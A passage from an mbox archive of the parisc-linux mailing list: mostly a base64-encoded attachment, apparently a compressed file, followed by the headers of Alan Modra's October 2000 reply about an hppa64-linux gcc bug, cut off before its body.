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
oQxHA0qMDMfeTYHPPTboKnyzjcrh/LQwVMacXRMjRRvDvDl41eSyF2581Zy/
fHg1vO7qZvLuvV+dd4Q+csMf4jzDdTRHZ0z9yKxamGWMprWLaIV1WW8glD3S
AOji5rhA6DBPmswVLONTsbUMyERe/AuOiqvny+DeU0Z0om+Rg7iyg1yCKzZ1
i5ETMgGLd46BZsJ/gIL33hEJROEjEWFM/Ku1M4DU4e8wkd7Lp54Oi8KrJC/v
ulUzm/irucuO6aZTNfDM7K3mJk/KuOOgZlCNVU9VMsxX4o5UxsvSrM2o5k3w
s8SOUpkvY7dvdZ37K5imtLVGQFTXGrPdqq0+xFi3+m7yzqOede+jS2l6hVKD
oAcWGZpzK+yDRIb6nAp7YHF/xdAhM2QHhcqL1sWLfrsjRLx+0Xt393Y/WyVr
Db/AjgFZAEse38Cv4Zk5HnhIMtbXYPDzQIUKm5Kj3uAnQiL+FbODKYOBqvF3
1MaQRUnbJn3Yy31P/KVbbbUVCloZM4LCuCjYNzKqaAjFKs0b9lRDw1lwSLWB
LVBcRmfgbkI/48XxQ6rXmqOiT4PzycuTTj7jRY48E+33knEb+Ny8CC5j3CAt
jcHRSE2kAh/3DW6GZ73YXDHSV90LnPEj+LHB6wDA7r0m5dd7xVp589EDy1mb
qxzxTRcrzU+OXAwiCzls+GxoR0XDrltCu2Fo6HonWHDBvJftHnsk+C5edwfO
qeqzzqMMi61Ibq0fwNF8TsEzBTKxOCKQnRdGt7JD0YCqw0asXp8DJkBlsosb
iueR4VVH3o6g3jy5hhVDN7j7+QlsezXr8oCEVwFxjZEW3oZjJ3b0P9reB8Hp
1NC7cuFr6HgsRF9WfQsdU9FPbyH4cPVi0PjZrUqO/ZTKLBMzte2bwo7BCEzU
PkL1uOaGHlmRaCbN4GczJse+HRMvgnDAh/So0dDOzeEB7ZiVYUUOusQpBMZk
AwN2bK6coUbyloTO95aGwb0hSMuBnsVAmAQPSpc9tnRbGMj6z/V595TZEhdh
cYiWMYrKD4b7IMvcM13Ftz4BIWxvoIAxb3Up1ejIiBOfzFu8pHi6RP6brE4p
QSTaklILI/lV2FsbuCw5Rq67N/1hAGViMJdSONoYsPuU2NrtDI1OFHI3rToD
urBKasv6qpLUH5ICMD1IDDQh8Uj9tpdRlq90l45mdVplIUhFa8mjLvb2Vekx
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
QQZLf8mCLsiT4BYWu0Ha92f/P/odoy8r6wMA
--499855707-807005805-972547438=:31251--


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux gcc bug
Date: Thu, 26 Oct 2000 19:41:05 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010261922550.31251-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0010261812440.31251-101000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
